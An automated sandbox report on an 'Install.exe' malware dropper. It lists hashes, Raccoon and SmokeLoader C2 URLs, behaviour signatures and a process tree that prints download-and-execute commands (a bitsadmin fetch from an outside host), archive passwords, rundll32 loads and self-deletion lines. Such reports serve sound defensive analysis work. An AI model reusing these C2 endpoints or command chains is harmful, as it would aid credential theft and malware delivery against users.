Resubmissions

25-04-2021 09:42

210425-v9mttlcxke 10

25-04-2021 08:59

210425-1d89vxfyln 10

25-04-2021 07:37

210425-b8smdccdwe 10

25-04-2021 06:55

210425-1csfnkw57n 10

24-04-2021 20:32

210424-x7kp9rrf4x 10

Analysis

  • max time kernel
    1802s
  • max time network
    1567s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    25-04-2021 07:37

General

  • Target

    Install.exe

  • Size

    497KB

  • MD5

    41a5f4fd1ea7cac4aa94a87aebccfef0

  • SHA1

    0d0abf079413a4c773754bf4fda338dc5b9a8ddc

  • SHA256

    97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9

  • SHA512

    5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Malware Config

Extracted

Family

raccoon

Botnet

9afb493c6f82d08075dbbfa7d93ce97f1dbf4733

Attributes
  • url4cnc

    https://tttttt.me/antitantief3

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Windows security bypass 2 TTPs
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Nirsoft 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 32 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 24 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 33 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2740
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2720
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2700
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
        1⤵
          PID:2436
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2408
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
          1⤵
            PID:1860
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1392
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1360
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1172
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1072
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:860
                    • C:\Users\Admin\AppData\Roaming\jsdjbsd
                      C:\Users\Admin\AppData\Roaming\jsdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:6116
                    • C:\Users\Admin\AppData\Roaming\twdjbsd
                      C:\Users\Admin\AppData\Roaming\twdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:1780
                      • C:\Users\Admin\AppData\Roaming\twdjbsd
                        C:\Users\Admin\AppData\Roaming\twdjbsd
                        3⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:4768
                    • C:\Users\Admin\AppData\Roaming\jsdjbsd
                      C:\Users\Admin\AppData\Roaming\jsdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:5460
                    • C:\Users\Admin\AppData\Roaming\twdjbsd
                      C:\Users\Admin\AppData\Roaming\twdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:1808
                      • C:\Users\Admin\AppData\Roaming\twdjbsd
                        C:\Users\Admin\AppData\Roaming\twdjbsd
                        3⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:2972
                    • C:\Users\Admin\AppData\Roaming\jsdjbsd
                      C:\Users\Admin\AppData\Roaming\jsdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: MapViewOfSection
                      PID:4332
                    • C:\Users\Admin\AppData\Roaming\twdjbsd
                      C:\Users\Admin\AppData\Roaming\twdjbsd
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:5952
                      • C:\Users\Admin\AppData\Roaming\twdjbsd
                        C:\Users\Admin\AppData\Roaming\twdjbsd
                        3⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:6064
                    • C:\Windows\system32\rundll32.exe
                      C:\Windows\system32\rundll32.exe "C:\Program Files (x86)\DlRhNcvOzN\DlRhNcvOzN.dll",DlRhNcvOzN
                      2⤵
                      • Windows security modification
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:4916
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                    1⤵
                      PID:992
                    • C:\Users\Admin\AppData\Local\Temp\Install.exe
                      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1808
                      • C:\Users\Admin\AppData\Local\Temp\is-A9TK3.tmp\Install.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-A9TK3.tmp\Install.tmp" /SL5="$70068,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"
                        2⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:1568
                        • C:\Users\Admin\AppData\Local\Temp\is-UVHHB.tmp\Ultra.exe
                          "C:\Users\Admin\AppData\Local\Temp\is-UVHHB.tmp\Ultra.exe" /S /UID=burnerch1
                          3⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2032
                          • C:\Program Files\Windows Media Player\XWEYUXCZUX\ultramediaburner.exe
                            "C:\Program Files\Windows Media Player\XWEYUXCZUX\ultramediaburner.exe" /VERYSILENT
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:1388
                            • C:\Users\Admin\AppData\Local\Temp\is-MHIO5.tmp\ultramediaburner.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-MHIO5.tmp\ultramediaburner.tmp" /SL5="$50056,281924,62464,C:\Program Files\Windows Media Player\XWEYUXCZUX\ultramediaburner.exe" /VERYSILENT
                              5⤵
                              • Executes dropped EXE
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of WriteProcessMemory
                              PID:3860
                              • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                6⤵
                                • Executes dropped EXE
                                PID:3268
                          • C:\Users\Admin\AppData\Local\Temp\6d-40fb7-7dc-c9e8f-8300e69d98c4e\Taedybokobo.exe
                            "C:\Users\Admin\AppData\Local\Temp\6d-40fb7-7dc-c9e8f-8300e69d98c4e\Taedybokobo.exe"
                            4⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3852
                          • C:\Users\Admin\AppData\Local\Temp\ad-50982-46c-bb3b2-f1ea1821358a1\Laezhixonily.exe
                            "C:\Users\Admin\AppData\Local\Temp\ad-50982-46c-bb3b2-f1ea1821358a1\Laezhixonily.exe"
                            4⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:3984
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bwxbxxor.3la\instEU.exe & exit
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4644
                              • C:\Users\Admin\AppData\Local\Temp\bwxbxxor.3la\instEU.exe
                                C:\Users\Admin\AppData\Local\Temp\bwxbxxor.3la\instEU.exe
                                6⤵
                                • Executes dropped EXE
                                PID:4860
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1wu14puk.h50\google-game.exe & exit
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3304
                              • C:\Users\Admin\AppData\Local\Temp\1wu14puk.h50\google-game.exe
                                C:\Users\Admin\AppData\Local\Temp\1wu14puk.h50\google-game.exe
                                6⤵
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                • Suspicious use of SetWindowsHookEx
                                • Suspicious use of WriteProcessMemory
                                PID:4292
                                • C:\Windows\SysWOW64\rundll32.exe
                                  "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                  7⤵
                                  • Loads dropped DLL
                                  • Modifies registry class
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:4720
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n15i2su4.yvr\md1_1eaf.exe & exit
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4856
                              • C:\Users\Admin\AppData\Local\Temp\n15i2su4.yvr\md1_1eaf.exe
                                C:\Users\Admin\AppData\Local\Temp\n15i2su4.yvr\md1_1eaf.exe
                                6⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                PID:4916
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gqroyv32.dpj\y1.exe & exit
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5388
                              • C:\Users\Admin\AppData\Local\Temp\gqroyv32.dpj\y1.exe
                                C:\Users\Admin\AppData\Local\Temp\gqroyv32.dpj\y1.exe
                                6⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                PID:5532
                                • C:\Users\Admin\AppData\Local\Temp\FRShS2k067.exe
                                  "C:\Users\Admin\AppData\Local\Temp\FRShS2k067.exe"
                                  7⤵
                                  • Executes dropped EXE
                                  • Modifies system certificate store
                                  PID:5376
                                  • C:\Users\Admin\AppData\Roaming\1619336088927.exe
                                    "C:\Users\Admin\AppData\Roaming\1619336088927.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619336088927.txt"
                                    8⤵
                                    • Executes dropped EXE
                                    PID:5740
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\FRShS2k067.exe"
                                    8⤵
                                      PID:4956
                                      • C:\Windows\SysWOW64\PING.EXE
                                        ping 127.0.0.1 -n 3
                                        9⤵
                                        • Modifies Internet Explorer settings
                                        • Modifies registry class
                                        • Runs ping.exe
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4472
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\gqroyv32.dpj\y1.exe"
                                    7⤵
                                      PID:4416
                                      • C:\Windows\SysWOW64\timeout.exe
                                        timeout /T 10 /NOBREAK
                                        8⤵
                                        • Delays execution with timeout.exe
                                        PID:5260
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x4wgkl4y.3sr\askinstall39.exe & exit
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:5952
                                  • C:\Users\Admin\AppData\Local\Temp\x4wgkl4y.3sr\askinstall39.exe
                                    C:\Users\Admin\AppData\Local\Temp\x4wgkl4y.3sr\askinstall39.exe
                                    6⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    PID:4484
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      7⤵
                                        PID:5852
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          8⤵
                                          • Kills process with taskkill
                                          PID:5844
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xapqulbd.pmy\inst.exe & exit
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:4652
                                    • C:\Users\Admin\AppData\Local\Temp\xapqulbd.pmy\inst.exe
                                      C:\Users\Admin\AppData\Local\Temp\xapqulbd.pmy\inst.exe
                                      6⤵
                                        PID:5504
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4fyxf5ed.hhj\SunLabsPlayer.exe /S & exit
                                      5⤵
                                        PID:5744
                                        • C:\Users\Admin\AppData\Local\Temp\4fyxf5ed.hhj\SunLabsPlayer.exe
                                          C:\Users\Admin\AppData\Local\Temp\4fyxf5ed.hhj\SunLabsPlayer.exe /S
                                          6⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Drops file in Program Files directory
                                          PID:5708
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                            7⤵
                                              PID:5660
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                              7⤵
                                                PID:5152
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                7⤵
                                                  PID:5820
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                  7⤵
                                                    PID:5180
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                    7⤵
                                                      PID:5760
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                      7⤵
                                                        PID:5280
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                        7⤵
                                                        • Checks for any installed AV software in registry
                                                        PID:5392
                                                      • C:\Windows\SysWOW64\bitsadmin.exe
                                                        "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                        7⤵
                                                        • Download via BitsAdmin
                                                        PID:5188
                                                      • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                        "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pPPviIyAEhz2BJi1 -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        PID:4736
                                                      • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                        "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pP4sJ2Xts2O9yQyZ -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                        7⤵
                                                        • Executes dropped EXE
                                                        PID:5256
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                        7⤵
                                                          PID:4804
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                          7⤵
                                                            PID:5204
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                            7⤵
                                                              PID:2416
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                              7⤵
                                                                PID:4676
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                7⤵
                                                                  PID:6128
                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                  C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DlRhNcvOzN\DlRhNcvOzN.dll" DlRhNcvOzN
                                                                  7⤵
                                                                  • Loads dropped DLL
                                                                  PID:5880
                                                                  • C:\Windows\system32\rundll32.exe
                                                                    C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\DlRhNcvOzN\DlRhNcvOzN.dll" DlRhNcvOzN
                                                                    8⤵
                                                                    • Loads dropped DLL
                                                                    • Drops file in System32 directory
                                                                    • Drops file in Program Files directory
                                                                    PID:5612
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                  7⤵
                                                                    PID:5592
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                    7⤵
                                                                      PID:1556
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                      7⤵
                                                                      • Drops file in Program Files directory
                                                                      PID:5816
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                      7⤵
                                                                        PID:5176
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd5B47.tmp\tempfile.ps1"
                                                                        7⤵
                                                                          PID:2488
                                                                        • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                          "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                          7⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Drops file in Program Files directory
                                                                          PID:4676
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sadanbs3.ng4\GcleanerWW.exe /mixone & exit
                                                                      5⤵
                                                                        PID:5056
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vxiz55rz.a2e\toolspab1.exe & exit
                                                                        5⤵
                                                                          PID:5864
                                                                          • C:\Users\Admin\AppData\Local\Temp\vxiz55rz.a2e\toolspab1.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\vxiz55rz.a2e\toolspab1.exe
                                                                            6⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:5504
                                                                            • C:\Users\Admin\AppData\Local\Temp\vxiz55rz.a2e\toolspab1.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\vxiz55rz.a2e\toolspab1.exe
                                                                              7⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Checks SCSI registry key(s)
                                                                              • Suspicious behavior: MapViewOfSection
                                                                              PID:5908
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hbk0i1zq.jx4\c7ae36fa.exe & exit
                                                                          5⤵
                                                                            PID:6016
                                                                            • C:\Users\Admin\AppData\Local\Temp\hbk0i1zq.jx4\c7ae36fa.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\hbk0i1zq.jx4\c7ae36fa.exe
                                                                              6⤵
                                                                              • Executes dropped EXE
                                                                              PID:5364
                                                                  • \??\c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                    1⤵
                                                                    • Suspicious use of SetThreadContext
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:3324
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                      2⤵
                                                                      • Drops file in System32 directory
                                                                      • Checks processor information in registry
                                                                      • Modifies data under HKEY_USERS
                                                                      PID:1632
                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                    1⤵
                                                                    • Drops file in Windows directory
                                                                    • Modifies registry class
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:4472
                                                                  • C:\Windows\system32\browser_broker.exe
                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                    1⤵
                                                                    • Modifies Internet Explorer settings
                                                                    PID:4556
                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                    1⤵
                                                                    • Suspicious behavior: MapViewOfSection
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:852
                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                    1⤵
                                                                    • Modifies Internet Explorer settings
                                                                    • Modifies registry class
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:4580
                                                                  • C:\Users\Admin\AppData\Local\Temp\180D.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\180D.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    PID:5324
                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                    1⤵
                                                                      PID:4760
                                                                    • C:\Windows\explorer.exe
                                                                      C:\Windows\explorer.exe
                                                                      1⤵
                                                                        PID:3136
                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                        1⤵
                                                                          PID:5220
                                                                        • C:\Windows\explorer.exe
                                                                          C:\Windows\explorer.exe
                                                                          1⤵
                                                                          • Suspicious behavior: MapViewOfSection
                                                                          PID:5356
                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                          1⤵
                                                                            PID:5456
                                                                          • C:\Windows\explorer.exe
                                                                            C:\Windows\explorer.exe
                                                                            1⤵
                                                                            • Suspicious behavior: MapViewOfSection
                                                                            PID:1896
                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                            1⤵
                                                                              PID:4584
                                                                            • C:\Windows\explorer.exe
                                                                              C:\Windows\explorer.exe
                                                                              1⤵
                                                                              • Suspicious behavior: MapViewOfSection
                                                                              PID:4848
                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                              1⤵
                                                                                PID:5408
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                1⤵
                                                                                  PID:5292
                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                  1⤵
                                                                                    PID:4892
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                    1⤵
                                                                                    • Drops file in Windows directory
                                                                                    • Modifies registry class
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:5736
                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                    1⤵
                                                                                    • Modifies Internet Explorer settings
                                                                                    PID:2760
